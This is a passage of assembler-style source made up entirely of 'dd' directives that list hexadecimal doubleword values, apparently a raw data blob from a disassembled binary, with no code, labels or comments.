		dd 1291F735h, 66B8A04Fh, 68C99500h, 0EABD2F72h,	0A7FE0098h
		dd 0A5A38803h, 430090E4h, 0D0323E13h, 3D780C30h, 1A8098B3h
		dd 38666B80h, 0B2009CACh, 7327F59Ah, 48C7EAh, 76AD1A36h
		dd 78A2052Bh, 34314603h, 0D0B7B185h, 0E41D70C5h, 0F8AB5E7Eh
		dd 0F19F0EDDh, 0E23040EFh, 35BCFAh, 0F0AFAC04h,	0ABF3C597h
		dd 0D6006FECh, 4886C961h, 72E5F82Fh, 0C331004Ch, 0AA4D7539h
		dd 8100222Ah, 1C2FB555h, 7B6A5Eh, 86B71D50h, 0FABA88B1h
		dd 453D8D00h, 0F7BBA892h, 8BF3001Fh, 43017B99h,	1009A141h
		dd 14FE3Dh, 2D2E3193h, 0D66900E3h, 6FCC4338h, 0AD05A6A1h
		dd 925B9DBCh, 0A7C62581h, 0BF15CB40h, 1BAC02CCh, 7ECF5F91h
		dd 0B0BC4460h, 1C001F71h, 0A93B4B39h, 0AA1DE5h,	3CCDF607h
		dd 1036CBD4h, 0EA118001h, 0C50EDF19h, 0EC85E4h,	0DDE12EBh
		dd 0C98A35BEh, 1F75E504h, 0D4805340h, 5E032FFh,	0DE296070h
		dd 0D4288147h, 0D9E1D839h, 0A927AA09h, 724280E8h, 0F4BD336Bh
		dd 0CB9F1F47h, 10FFC030h, 89349943h, 0E05ECD03h, 0A0E1A2D5h
		dd 4FEA3E8Fh, 87148009h, 4E078AD6h, 80E2C812h, 23D0E029h
		dd 0E16826BEh, 0CB1900A4h, 22748C6Dh, 0D2ECFB00h, 89EDBF94h
		dd 95AC0EB6h, 0AE808A83h, 0BCB4724Ch, 0FED3E100h, 9BBE6386h
		dd 384B844h, 79B173F6h,	93FF2F1Eh, 383C9488h, 19CF8024h
		dd 161D2517h, 74A8003Fh, 0E5467B31h, 0C0004330h, 935AFCADh
		dd 72B1C9h, 87EBBCF4h, 7716E9F7h, 46130D01h, 8945900Bh
		dd 12538EC4h, 718CFAh, 288207C6h, 0F2E4E5D7h, 20683E2Ch
		dd 0BB917880h, 0B5520B7h, 4A898EAFh, 0F21BAC80h, 80009DA1h
		dd 84CC22B0h, 0BDF615h,	42C9EAEBh, 687C089h, 0C5004BB8h
		dd 8A2D7E31h, 50742B7Ah, 0FA8BDC54h, 0A24900DBh, 299C8DB4h
		dd 0F900013Dh, 1BB6D0BFh, 38E49F65h, 0F8000CCAh, 248BDFACh
		dd 6977208Ch, 0E3EA93Fh, 0A09C7994h, 0FC261345h, 0B3A124DFh
		dd 2EDE01ACh, 0E48FBD9Bh, 0AF032CA5h, 0F8267E1Fh, 5EF08FADh
		dd 2A29261h, 6D084F47h,	0ECE80E9Ch, 0EFF0F1C0h,	0E6DCB400h
		dd 642071D1h, 855901CFh, 6EBB3D9Bh, 15A8ECFDh, 0AD751600h
		dd 658BC93Fh, 0A2620126h, 61C21CABh, 1EDB20E5h,	0CC5259h
		dd 0F75BEE1Fh, 193627h,	3AEF847Ah, 1833DF30h, 76BABB00h
		dd 23C421D7h, 592B003Ch, 0C1C37F60h, 11731A94h,	0BD765F00h
		dd 84B09172h, 98F9F490h, 0BB863B8Ch, 94DF98CCh,	6A008402h
		dd 6B8F851Bh, 0B01C7862h, 0D280AD1Ch, 372BD164h, 881F0082h
		dd 0BB42AA32h, 4006735h, 2CB90F87h, 1C558C38h, 8EEA0205h
		dd 8C03A9Bh, 0CA881DFCh, 4A977B00h, 0DD4BF713h,	0FF5B0104h
		dd 2569BAE2h, 86E8CCEDh, 5C091F3Ch, 4B790048h, 0B63B905Eh
		dd 6F6C0030h, 3A197B3Eh, 490305A9h, 8F60946Ah, 4C17A8BFh
		dd 7E9700B6h, 50BBCF75h, 380FA567h, 0AEC89278h,	85F46036h
		dd 794C712Dh, 27FA00CDh, 6EC95C7Ah, 6A007987h, 0EF7C5DC6h
		dd 0D1BDE9h, 3DF75E4h, 0A6968C2Dh, 0E6AE8F05h, 98C81B42h
		dd 0EA841102h, 40585DC8h, 0F7F7B8Bh, 39402259h,	0F79C00B6h
		dd 0ABAF51Dh, 0DE1403A4h, 0ED200996h, 0D09BA780h, 0A1830500h
		dd 2B4EF301h, 0A225005Bh, 96A6D462h, 0D87FDF52h, 65B0B903h
		dd 40F73E56h, 1DA9D0AEh, 3326C74h, 0D6F1FE3Fh, 30423CA1h
		dd 590BD768h, 1F4BA8Bh,	0FF5CD2A4h, 7A2530h, 51B2B54Ah
		dd 0A7EDCFB9h, 7417FA03h, 0B9D873D5h, 0FCE04FE4h, 3FF204F4h
		dd 0C3951AEBh, 62C01140h, 0D000F774h, 22B8BA3Dh, 60D869h
		dd 0CB0FEA05h, 6DE7F57Fh, 0C7A85C00h, 0EAC5373h, 3E510F8Ch
		dd 65E0FCA1h, 5D6E2CB6h, 1EBFB000h, 0E58A995h, 0E978003Eh
		dd 4F5F1315h, 715AEDFCh, 974D6C80h, 0A2C40041h,	93A89159h
		dd 0ED003F73h, 0F5860C9Ah, 1FD721DFh, 0FA4640E6h, 5242B80h
		dd 9E4B57C9h, 2CC6D600h, 537495E3h, 0F5A4098Fh,	4002EE1h
		dd 90E6BE81h, 5CFB7A00h, 6160366Bh, 0A3980026h,	23D7F137h
		dd 3B14661Dh, 0ADE5671h, 0BAE4ECCCh, 8B05FB00h,	0A6B7EDFh
		dd 0A42D5231h, 87E0019Ch, 615B9A1Ah, 0D0494404h, 69D25004h
		dd 1FC38B3Ch, 7B036EF7h, 0B055BC21h, 32186B36h,	0C2F01D4Ah
		dd 71A295C0h, 0EDB8680Fh, 93248081h, 10855Eh, 820E7D7Bh
		dd 0F2475891h, 0B36AF600h, 90B2A5ADh, 740300E7h, 0AFA2B0A8h
		dd 3A00389Fh, 6DA623C7h, 131878A9h, 0D0BE1EAEh,	0A2E0A4B4h
		dd 0C80ADE03h, 0C8E4728Eh, 6682E73h, 67640CFCh,	0B310C897h
		dd 107AC3B5h, 9B35CEh, 4BF808A2h, 5BFA3438h, 51100401h
		dd 925490BAh, 78C0363Fh, 0FD3EC1AAh, 7D94986Bh,	9B73E67h
		dd 1DDE1300h, 596D371Eh, 9471102Ch, 5C40FF17h, 0D6A54786h
		dd 75FD3F23h, 0F04D1C80h, 0EA0FEB69h, 70676137h, 53ECE6E0h
		dd 4C8A0437h, 80FA0318h
		dd 15FCC7ACh, 2012251Dh, 534B368Eh, 80F984D2h, 0C34948F8h
		dd 129B027Ch, 5F6364A6h, 2133B4E9h, 730FC810h, 287E7F00h
		dd 32456742h, 3A77F8ABh, 70A71923h, 0E976800h, 0C204C6B8h
		dd 0FD0A2D7Dh, 8B1838C0h, 54EC0F5Ah, 9240A929h,	0C103D00Ch
		dd 497FB100h, 7106261Ah, 4FF90064h, 0F5C83330h,	5600A8B3h
		dd 0AA1BB0D0h, 0E62B15h, 66847F97h, 0C7E29E47h,	0FDE7C0Fh
		dd 5646617Eh, 8096E48Ch, 3BA020C2h, 0EB25B6D6h,	82A4E113h
		dd 0BA0B5039h, 0A40456BEh, 679A80D2h, 1E008414h, 24BC8D83h
		dd 1D897A5h, 0A03B6A9Bh, 0C4B7D12Bh, 0FA24E631h, 5100AA12h
		dd 9480B6C2h, 0C17500DEh, 5D0A3FEDh, 8A0E0540h,	0C9F80DA8h
		dd 560508Ch, 0CBBFCD9Ch, 9A98003Ch, 0CABC86ADh,	0AC562700h
		dd 0D66CB499h, 0A475B0h, 0AAFFBB4Ah, 4C699764h,	1A01A690h
		dd 6A9661AEh, 0FFF04129h, 0C050649Fh, 3FF2821Fh, 42B26C84h
		dd 60BEF9C6h, 7FFBF8EFh, 103300B0h, 0CE3AAF63h,	4300AD57h
		dd 0B6750144h, 19D3A2BBh, 0F8A991F2h, 3C82C010h, 3BCC2000h
		dd 0D9154A65h, 0CD3D0008h, 0DA4C2E88h, 9BF6E801h, 94917900h
		dd 5B7DA495h, 2CB80Ah, 0EAABCF5Ah, 0B730E305h, 98AA5004h
		dd 0E480756Eh, 606FEBh,	817C291Ch, 0AD2EC8E4h, 42081600h
		dd 0A4526485h, 0B57E3C62h, 1BBF100h, 0D85D277Fh, 0C4000C79h
		dd 0E3EFD085h, 3E48C32Fh, 405AA8D9h, 0E19C9268h, 0B11C9E8Bh
		dd 60A5724Bh, 120D5C94h, 20E07D84h, 8C7CC678h, 6C008898h
		dd 0EDAC745Bh, 0B0F1648Ah, 6EDB0003h, 0C50D624h, 0BE00200Bh
		dd 25D9216Dh, 0F0E405E9h, 0B43D515Fh, 9AC0C5D0h, 0A9BA3964h
		dd 16191A03h, 0EAC0B181h, 490091ECh, 0E2980885h, 0F636C0ABh
		dd 0C9371E77h, 0E69600E5h, 3934DBB2h, 0FACE18C0h, 1F06970Bh
		dd 53F7FF83h, 60220ECDh, 6EC10401h, 13BC3C92h, 3020BB72h
		dd 0BEBA1h, 479C6281h, 0C44AA630h, 88A548h, 8FAA4893h
		dd 0F73D83Ch, 6AE7A168h, 7A86809Ch, 885D71A7h, 96487507h
		dd 40FFE9CCh, 0ADBD08AAh, 0D7BA3D50h, 850F770Eh, 60F6C9E7h
		dd 0C507C105h, 680158BCh, 0C439B902h, 0D8BB28BDh, 80046BAEh
		dd 78177E54h, 4DFC146Dh, 5C6858h, 76113D71h, 0D7073Fh
		dd 0EDBEDFE5h, 68376773h, 7D5ED302h, 40F11252h,	5A9A4F69h
		dd 9B200440h, 4E4D8163h, 8010BEC0h, 62269ABh, 0C8055F6h
		dd 0F2524627h, 29393D30h, 0FAC21CD9h, 2D148180h, 919B3EFh
		dd 11F3CD5h, 0C043A904h, 7BABF9ECh, 92EF7F17h, 0B5042421h
		dd 6D9030h, 0C3E10578h,	0D4768B21h, 2BDA0800h, 503356D3h
		dd 0B6F9034Bh, 29C869D7h, 7C887080h, 6D484700h,	98FB2809h
		dd 0D6E53AB4h, 0C9F9D389h, 0FE7900E7h, 0B7002D0Ch, 0B41E2663h
		dd 2A9DBCh, 4672FEDAh, 0BD136AE3h, 2B6B1A00h, 0AE3B6F74h
		dd 4AE68Bh, 4FBBC1Ch, 9DE99FA3h, 0E8CF48h, 9EC7FC14h, 3D5E886Ch
		dd 0B32674AEh, 942D02E0h, 0F8C9E3CDh, 0EB033E2h, 404C85E8h
		dd 0B0F31827h, 4EBE0B95h, 44C01346h, 6C3FF40Ch,	40390F6Ah
		dd 2CAB4037h, 484DF6h, 6831D6A0h, 35D32295h, 0FCC4D524h
		dd 0CBAFF100h, 28B3604Eh, 1A42C0Eh, 0D4D7D63h, 381FD2F4h
		dd 79300060h, 0CC2448Dh, 0CEF23D26h, 5016FE0Fh,	6EB0B8E0h
		dd 5A09B903h, 0DAABFFh,	0BE5F6F24h, 0FCB6039Ch,	0BFC5D0EEh
		dd 0A0E41800h, 6627C267h, 0BD9A008Bh, 0CF6CD705h, 7A3F82A4h
		dd 64B00E73h, 5BDCA496h, 676D60C0h, 3AED00BFh, 570EBDFFh
		dd 98B0AF71h, 82F3D207h, 120EC75h, 23D965h, 5A540AFBh
		dd 3D297C6Fh, 9AEF38h, 21CA40F9h, 62FC84h, 0C8C1E76Ch
		dd 0A811A415h, 0A526E00h, 5AD84BCDh, 0B9D2E0Fh,	37EA40F4h
		dd 0DD71A1F8h, 0F5812500h, 0EE38C798h, 22CC0B69h, 50A00583h
		dd 2BC4EF75h, 1DD23400h, 0A601FB50h, 837E0098h,	5A9D7D6Dh
		dd 300CEBCh, 0F6E0909Fh, 0F054F2C6h, 0DB6003F0h, 0FDCAE3F5h
		dd 6C770A88h, 0B8A1D17h, 0E6D91800h, 4C67900Eh,	5B0BB8FAh
		dd 2005F70h, 803EDEEDh,	2882B501h, 0D721EED1h, 840C6C7Ch
		dd 0DE5083B7h, 12FFCE00h, 0C9E4E8B5h, 0BF623DECh, 0A270BB0Ah
		dd 3F208024h, 0D0FE5B7Ah, 0A7093900h, 304388Fh,	0CC0C0780h
		dd 339F53F6h, 4DA0E1E9h, 280073DFh, 0CE9AB678h,	5F5337Fh
		dd 0C1C9B3D6h, 0E1D0C09Ch, 216017D8h, 5894958h,	0D4101DD6h
		dd 4C0280Ah, 92D89520h,	7C14A993h, 0D9E19F01h, 5C58CA54h
		dd 54A56130h, 5CA9108Fh, 1C2C644Eh, 0D4C00084h,	6A56A4C2h
		dd 0D1095170h, 24D79792h, 0ECE95978h, 6077F107h, 0D6E78F6Fh
		dd 0FB2E209Dh, 0E925B754h, 1CE880BDh, 28E8268Dh, 3E087112h
		dd 0B300DEF0h, 681BC587h, 6B01F3DDh, 0BD41F832h, 403A9272h
		dd 4B49C77Ch, 6707610Ah, 0BE1E7EFEh, 0F25B029Eh, 9CA074BDh
		dd 300FE548h, 0E88EE704h, 0CAF3AF0h, 185642DBh,	41C183F9h
		dd 0FBC5D855h, 0AC30AE78h, 73723925h, 0C92B1942h, 80B51202h
		dd 0ABFA6368h, 3234065h, 0DE57F4B2h, 87C03A62h,	54A04A08h
		dd 24A22747h, 0BFC2E45Eh, 99EDE0FDh, 6AD600B9h,	7CF240A0h
		dd 377984D8h, 4FEE8C03h, 182972FFh, 0A070016Ch,	67E6C473h
		dd 0C32C5C00h, 0C2A1E9BAh, 0E8BF0026h, 0C938281Ah, 0A79839FAh
		dd 623B89E6h, 0E0298064h, 84BC65C4h, 2F763BA8h,	8668F90Bh
		dd 1EB91800h, 0B40E1BF1h, 7D778Ah, 0B39A1CADh, 0F97CC5h
		dd 8482C07Ch, 9EC2C71Dh, 23B08954h, 0F0268B39h,	83C8880Eh
		dd 0ED085948h, 93038050h, 0B4280125h, 0F4EEFB1Fh, 0F004DC02h
		dd 57502262h, 2308E3F9h, 0D07B058h, 0F8042126h,	0C920B762h
		dd 1C702695h, 745D443Eh, 374B9A8h, 64F89A24h, 0D2110074h
		dd 4904A70h, 0BF19273Fh, 8B0846F1h, 0B12CAC28h,	8184001Eh
		dd 7435C889h, 0ADC12300h, 0D3F937F0h, 806D06A0h, 689CE553h
		dd 3C81CB00h, 89776760h, 387413E0h, 2214E49Bh, 2FBDCD00h
		dd 0C762AE41h, 8A66647h, 6BE421D0h, 0ECEFBD07h,	0B9E0585Eh
		dd 989415DDh, 950C174h,	8A240FF6h, 888C9F78h, 0FA9887BCh
		dd 0E607EA4h, 3054C69Ah, 0FB905845h, 7807E1DAh,	531367Ch
		dd 7D70A2C7h, 47CDD4h, 0A33F259Ch, 0E84AB212h, 5B98B51Dh
		dd 0F381040h, 9160E7h, 8E352792h, 0FDD60678h, 84559F00h
		dd 88DF5CEEh, 0F32A00CBh, 0A893649Ah, 12077C6Ch, 5EB5B49Dh
		dd 0FD61DC10h, 91770BC8h, 0C58062C4h, 4DE4590Bh, 6B9B7100h
		dd 70EB5F97h, 0BAF93038h, 52BC5C70h, 0D4E9D9ECh, 95003141h
		dd 0A3C240DCh, 186E717Ah, 3C82BD4Ch, 0B3079E55h, 3688DC4Ah
		dd 0D4DA16D0h, 1066004Bh, 0C5561732h, 4D008497h, 3ABAE291h
		dd 0B51E82h, 9B7C4CE0h,	69FAB16Ch, 1F512400h, 0C1D23B1Ah
		dd 0D5F80055h, 225AD70Fh, 0DA009B43h, 68CF94Dh,	1716197h
		dd 0AA6EF07Bh, 81D7245Eh, 375A62B9h, 9C501A3Bh,	73A7C3h
		dd 93F69231h, 0CD4E21B8h, 0D5E2C707h, 8420F53Ah, 4B8945h
		dd 9A9B6DAAh, 417AA88Ah, 2B77EF03h, 0A80B0F55h,	0EE6C4E30h
		dd 281F0006h, 0CEF9A702h, 0B3343FD0h, 47F11CAh,	517D5718h
		dd 35003D42h, 0E2FCEBDEh, 1EBA4877h, 0E6E122h, 4B36CDF8h
		dd 0A23FC9DCh, 0C34700D9h, 8C3A4180h, 54F90016h, 35FFB88Eh
		dd 2200158Bh, 1D1EBBDEh, 72BF2Bh, 2ECCCA1h, 0A7FCDC0h
		dd 14DCDA00h, 7A22630Dh, 0AB9700AAh, 30AFC29Fh,	0D000AED5h
		dd 0FCCEF356h, 782E0A4Eh, 8EA400C6h, 1C2F5B86h,	0C71CCC3h
		dd 680049E0h
		dd 0FBFC3489h, 4D08FDh,	0D87B10BCh, 909CA96Dh, 0DE7660E1h
		dd 0B32C1400h, 4D693397h, 135C05F3h, 80D0BE0Bh,	21D53622h
		dd 9924FE0Eh, 4D1500CAh, 0FEE79F7Eh, 33D09026h,	0C0580D20h
		dd 0F969FA00h, 0AC53DB43h, 9C0F3E2Fh, 3081093Dh, 0F3664F2Ah
		dd 8659C8ABh, 3C016506h, 99F453h, 0C91E31B0h, 0C38B9EDFh
		dd 0E4F56100h, 0CF97F39Ch, 0F2A60530h, 0C00B9055h, 2EF40FD9h
		dd 0D7A00C60h, 51B306Ah, 0E5698664h, 70C403h, 438EB2E4h
		dd 28C0BBB9h, 9D472E09h, 0E4B600D2h, 0C2D35F49h, 6800BDCEh
		dd 1588FC8Eh, 987451D5h, 0F9C0055h, 0F1382A3Eh,	98C0C669h
		dd 0D4A4F244h, 0ED1404C1h, 90036408h, 5F6D7E18h, 0E5D1C303h
		dd 907FDE74h, 3F01CB9Eh, 978036FDh, 0F0A61F43h,	0DF07242Eh
		dd 0D7A36A54h, 0E7D1FE13h, 0AF9BF9D0h, 0CA8918D9h, 565B06Eh
		dd 9200C679h, 0A0EE19CFh, 7A47D3h, 0E84CB6FFh, 72A1AA4h
		dd 0E9DABDA0h, 0E1377B13h, 0A19D4A00h, 3C753331h, 0FE0013A6h
		dd 0EF7C0BB9h, 49002005h, 0B1808C16h, 0E631B08h, 0A497691Fh
		dd 0E83E5820h, 0CAFE6087h, 6E64300h, 0ED68BE8Ch, 597B00EEh
		dd 0F0724A20h, 0B7381BA9h, 2AB28650h, 0C8CDC8h,	0D3E326EBh
		dd 1063A42Eh, 0D682A65Bh, 6AC4812h, 51600C8h, 68D53152h
		dd 1D306DB2h, 0EF1114Eh, 88802D4h, 0F5068E5Ch, 0DB001ED6h
		dd 73C3AB96h, 707E00AAh, 3FA272A5h, 6100F85Bh, 0DE660A15h
		dd 8C3702h, 25DC2D54h, 0FB294AEh, 3CF0095Fh, 0D8C714C1h
		dd 6000D867h, 0E8C5FCC3h, 0F2902CD6h, 4A36B301h, 40A654FFh
		dd 0A4D9DCh, 21751982h,	0E0F4B8A1h, 36D16C0Fh, 6312609Fh
		dd 0B0FA59E1h, 18660189h, 0BA3E072Dh, 4047C971h, 8565DFFh
		dd 5109B1E0h, 80B2C2h, 855FF608h, 1983001Fh, 8CB075B5h
		dd 70004F56h, 0E913A239h, 5F79F55h, 97E5D5BDh, 4E9C40CBh
		dd 9161CEA4h, 0C0199E00h, 10ECABA8h, 0E9B70415h, 0C09C0E69h
		dd 0E5D8391Ch, 7002B48h, 38D78395h, 5D239A60h, 5715183Eh
		dd 48FF8881h, 5342D5A2h, 68B23C80h, 0EEEA5CB1h,	1BE18200h
		dd 57737A12h, 0E4EC6Ah,	0D80255AEh, 0AAB8D19Bh,	18A50C00h
		dd 1A77D7A4h, 0D0B600A6h, 0E6BA473Bh, 0C700FF98h, 4C57C59Dh
		dd 9A7B6Dh, 3794D8DAh, 0B274FDDCh, 5F255E03h, 98441611h
		dd 0E0DF615h, 0BACDB94h, 23FDC6C0h, 0B40154ADh,	45A8DA49h
		dd 28BC1FABh, 260F5700h, 25BA2A2Bh, 0E432F501h,	0BB01B011h
		dd 752EA1E8h, 0F30800EDh, 0ECDAE9A5h, 0A4A811C5h, 2B00E250h
		dd 5B7121D3h, 3B2EED2Dh, 0B000EFAAh, 0DFE63F0Ch, 2A7F2393h
		dd 0A50F3Eh, 60E9814Bh,	48899116h, 5D00D69Ch, 0E14E8C4Ah
		dd 2D00F974h, 2E71E27Ah, 796E2276h, 0F65B0061h,	75F56772h
		dd 2800FA89h, 0DDDB7057h, 0E0A60EB6h, 0AD4B00FFh, 1BF3E449h
		dd 0E27F652Fh, 0F8FEA50Eh, 6051E066h, 0FB3753h,	0F163FFB7h
		dd 0DE2F42C1h, 138A24Ch, 600AEFDBh, 60EE5FC2h, 8B5518h
		dd 0F41EC530h, 0BE1F5C4Fh, 36266024h, 80580509h, 5932E8E8h
		dd 0DAE4B0h, 0E79BAC20h, 633D180Dh, 6D9FD502h, 68147EB5h
		dd 0AA5D40h, 0C8B1956Ch, 6D26EA34h, 65B80B04h, 59C0AD3Ch
		dd 1D638Eh, 0F8442030h,	0AA667C31h, 98D18302h, 80DDE95Fh
		dd 0A6FEDCA8h, 0F17E070Eh, 79BCEh, 7FC81AAFh, 50D7090Eh
		dd 790DC015h, 804497h, 39B172E9h, 0B8229BEAh, 144E2400h
		dd 5936A615h, 719A00EDh, 0F1F4A4C6h, 69FE46D5h,	0ED205Ch
		dd 5D7392BEh, 137E1Eh, 573553EEh, 36F7AB51h, 0ACEAFC00h
		dd 9DC66FAFh, 81AA00D0h, 0C7971337h, 1100B7D7h,	0AE790E2Fh
		dd 730C66EEh, 0BD1A005Ch, 0F7CE46ADh, 0F126B211h, 3B366Eh
		dd 0AB048C09h, 9E9BD3h,	4CF9946Ah, 378ECF17h, 71927001h
		dd 0F24680C9h, 0F41061F0h, 0E5760040h, 66BE31EBh, 0C04B20DDh
		dd 0D93B51A8h, 67F60C03h, 0D098F49Bh, 95025539h, 0B121B330h
		dd 76A4A0E0h, 24426D6Eh, 1E22D578h, 0C2540007h,	0FE33818Eh
		dd 0F0364300h, 0F4F14D4Ch, 0A20204D8h, 87B73CC8h, 6097F75Fh
		dd 0A7352733h, 0B9658C2Eh, 745FCB01h, 0EE40637Eh, 6ED904h
		dd 0EE8A352Eh, 0FEF0B9BFh, 241A4C00h, 0CDC5D152h, 614300FCh
		dd 558E413h, 0AE00D7E1h, 0D6F0B642h, 607E998Eh,	0FABD9C07h
		dd 0AA00ACD8h, 8B78AD3h, 542B61h, 74AFA526h, 0E9700AB8h
		dd 9F3F100h, 4580A12Dh,	0B41E00C2h, 0F8EE2142h,	2F0F3757h
		dd 263CF47Ah, 0A0881D74h, 177FEC1Bh, 40B5AD45h,	0D60A64DCh
		dd 34007A10h, 962CCBBh,	0EEC6E592h, 5C5105C4h, 88EA2A14h
		dd 0A0006994h, 0A936FE8Dh, 9AA5ECDCh, 8CD25CA4h, 49E7D102h
		dd 0C9423963h, 0EB4FF468h, 760608E8h, 0C625D70Eh, 21677C2h
		dd 50641FDFh, 2450A82Fh, 694C3A00h, 0E15D77Ah, 7AFE748Ah
		dd 7721C762h, 939FC0F7h, 6C004E5Ch, 0CF64E404h,	0B9D66Fh
		dd 0F751AB06h, 292401DBh, 0DE074Ch, 0A8A48DAFh,	0F6B9E3AEh
		dd 5B9300F2h, 0A2A9C70Dh, 0B51CDEBCh, 0D180B6E0h, 0F5F2CC39h
		dd 5C8B90A6h, 0E7888FEh, 0B6350DC6h, 0E35CED80h, 1A3DE951h
		dd 0C0C10045h, 0B70A180Ch, 53960291h, 0A822E3EAh, 0B0B76BC3h
		dd 27E6B01Ah, 0E1EC0F3h, 87F2C505h, 0C020F984h,	62E8264Ah
		dd 2F79E0A6h, 89EA8C81h, 878320DCh, 0CF007390h,	3BCEC434h
		dd 471A83h, 0F59B1E7Eh,	81184DE9h, 0D7021C00h, 6BDBABE7h
		dd 84E43D85h, 0EAEC7280h, 0B048F39Dh, 8A3E3F00h, 87FD3B99h
		dd 2C4009Ch, 6932D04Ch,	0E4009129h, 0B73DE3ADh,	4C48AA95h
		dd 1E009AE1h, 1BA02CE5h, 0FC7B49C1h, 20B9230Eh,	2B64E046h
		dd 3EAE1Dh, 9C990958h, 5227D84Ch, 0C8057471h, 3B671A38h
		dd 5D29E00h, 0DEFBA4h, 9D0B11E5h, 207099BBh, 1FBCB900h
		dd 458DDAEFh, 0EC0E3995h, 0E2184C04h, 0FC14A10Ah, 0A800B876h
		dd 46593925h, 2DA2BBh, 0FA3D8374h, 7F3FBA17h, 0E3A8BD50h
		dd 0AFBB5C00h, 765661F6h, 0ED503FA5h, 82209A30h, 9B052780h
		dd 0E62EE214h, 77A0BC00h, 0C2FD4Eh, 0E8372975h,	63150F54h
		dd 4AA54101h, 32E04B80h, 929E5160h, 0FD500054h,	0B29A1410h
		dd 9F135251h, 2201AF27h, 8255492Bh, 57E8FC4h, 0E7D538D9h
		dd 0EF7E82C4h, 3901F4A1h, 9B0024FAh, 28040B00h,	8346EACEh
		dd 6B4300B1h, 8E798BD0h, 3001F5Fh, 5B6DB6F6h, 1FA2C264h
		dd 0EEAA6E90h, 7A510E8Bh, 3721108Ch, 5AAF3A00h,	764CE77Ch
		dd 55008F4h, 1200AD67h,	659F7EFDh, 0EB3D00D2h, 31BEE6BDh
		dd 21007161h, 0DFDC2982h, 11C3898h, 0F8ED5258h,	88A27FB6h
		dd 425B018h, 0C1045B6Eh, 83ACC34Bh, 0E612BB58h,	9B0C8E5h
		dd 148E0E2Ah, 0B23761Ah, 312C7CDEh, 5800FE3Bh, 4F7315DFh
		dd 0F34D01D4h, 10E26DECh, 4C080CCh, 281864D7h, 0BF913AFCh
		dd 81A3799h, 20218FDBh,	0BD0F6029h, 25AE16Fh, 0B230C2F8h
		dd 6BE0CDF4h, 270324FCh, 0EE5C66E7h, 9EB8FB23h,	5B881CB8h
		dd 916F9835h, 0AF01980Dh, 54EC28AAh, 9131ED5Fh,	218296D1h
		dd 2AAF7F30h, 0AB1650E0h, 1DF27A05h, 0CC415E58h, 2AEA273h
		dd 966F1081h, 0FC687407h, 3600E9B1h, 850D982Dh,	0F4BEB49Eh
		dd 913A0064h, 0B030D91Ah, 1807739Dh, 0F0FDC123h, 807EF592h
		dd 43C8ADA9h, 80120087h, 0A40AA9B5h, 7F00DA6Ah,	0D270FB91h
		dd 0E58AFh, 73AE38D1h, 0AA1A2953h, 0E7477C00h, 82CC7A5Bh
		dd 24AC0549h, 0C0B99A92h, 44AD0450h, 7F032A76h,	575B9C43h
		dd 1C700061h, 4609750Bh
		dd 80CF2FB0h, 0A5C09D24h, 0DDFB9F04h, 0A269CE34h, 0AC382CE0h
		dd 85003E2Bh, 79FD5FEDh, 4E3CF3Bh, 2D37AFB7h, 0D1F280BBh
		dd 117B1EA7h, 9F008B70h, 0E395C89Bh, 30C5378h, 3B2D648Fh
		dd 22BB961Dh, 2EB3F900h, 0B81FE5BAh, 0A14F6077h, 72238F29h
		dd 115FCF00h, 0A0FA562Ch, 5A7300FBh, 0FCB92565h, 0D3EBD67h
		dd 0CB788219h, 957082D8h, 0B005504h, 1FD44E7Bh,	0F6370023h
		dd 0C2010D67h, 60077D9h, 10C6275Fh, 0F811DA8h, 2C65514Eh
		dd 0C980420Eh, 941ED401h, 1DAA5B01h, 0F4BE41D8h, 0EDA9C4h
		dd 0C6FDE909h, 0C735922Eh, 0BB36121Fh, 0F88EF1C0h, 7CE6F5EFh
		dd 381F004Eh, 3257C550h, 3C3BDC64h, 56510242h, 0B8D65A96h
		dd 48B18D5Ch, 3006407h,	0DF7E3ADEh, 0AB00FD55h,	5F290DCh
		dd 12481BF0h, 1EF8258Dh, 0F12206A8h, 6122287Fh,	0AD5702AAh
		dd 598D47FFh, 89F46F10h, 0E0E00865h, 4D50C81Ch,	1166DF43h
		dd 11AEC979h, 2111FF49h, 0EF413CFBh, 11287429h,	0F5113695h
		dd 589D11F7h, 1A8AB111h, 41292F98h, 2890E471h, 4FB58861h
		dd 0DD8C3408h, 444451F6h, 3CA01957h, 0B1886079h, 6D51C705h
		dd 55E0E010h, 0DB407D9Dh, 154A200Eh, 833CC550h,	40817A44h
		dd 6C1C7090h, 640A795h,	72C61CA3h, 68FE3C94h, 0D67D1Ch
		dd 0B105BBEBh, 90003F5Dh, 38341E50h, 0B8A3C141h, 4AF861h
		dd 0F791FB24h, 3CB21A04h, 0D2634B00h, 0F10C0986h, 24A501E5h
		dd 0C63F5102h, 5B2C08Ah, 0D46038h, 215E54B4h, 0F74E23h
		dd 53C116E5h, 3738A0Bh,	3C1F20EAh, 1400ACE1h, 7A187912h
		dd 85BA3D7Fh, 2419C2B3h, 0E61D20B7h, 75003B0Dh,	6038AE7Dh
		dd 35BA89h, 65E12319h, 6A616881h, 55293900h, 0F1DD7B9h
		dd 40D80E2Bh, 0EFA035BBh, 0A60ECD03h, 93ED8612h, 1CC0A304h
		dd 0AB5EBCC0h, 37C33D7Bh, 4A806338h, 2FAC0555h,	2BECAE79h
		dd 496D003h, 0D8237B76h, 71C518h, 0D5F4A79Eh, 2FCA4E0h
		dd 2CCFF800h, 0ECC45AFBh, 0B535001Fh, 321BFAF9h, 0B101EEA8h
		dd 0DA923083h, 17FC1A0Ch, 0CAB22029h, 9E494339h, 2283574Ch
		dd 0D1652A83h, 0E5C8641Ah, 4480085h, 0BFB00299h, 9800835Eh
		dd 0EC3E60B3h, 0EA940E13h, 0B8EDF80Ah, 187C6049h, 5C2A51D9h
		dd 5411CD2Ch, 21900100h, 0E6220DC4h, 53CB009Bh,	7C831AF9h
		dd 390002DBh, 506C373Ah, 0B82EAEh, 0BA868B08h, 45BCCB61h
		dd 247BDD30h, 0FE8EFA84h, 0BDDF0051h, 544F81EBh, 60E3CAEh
		dd 40D37D5Ah, 1B568019h, 0A99E0570h, 0C0F1DD96h, 51E6D4F7h
		dd 0FE25A0Ah, 9E009756h, 0C59618C6h, 56C0094h, 0B3EDE1AAh
		dd 2600DC8Eh, 988003F8h, 632D5h, 0AA352DCDh, 0EC8A39B9h
		dd 91CA1614h, 40B400A0h, 3DAC7AE8h, 3F5B7C06h, 80BC09F1h
		dd 0C4AD1007h, 0C55C9094h, 0C3E6E0DDh, 5E119C0Fh, 0C130315h
		dd 0A908C089h, 17C7BC9h, 9F5F4E95h, 708B5B48h, 7B00B20Ch
		dd 0C724CB8Ah, 0FC10188Eh, 0F4B901B6h, 730B8BC9h, 0B5DAF0BFh
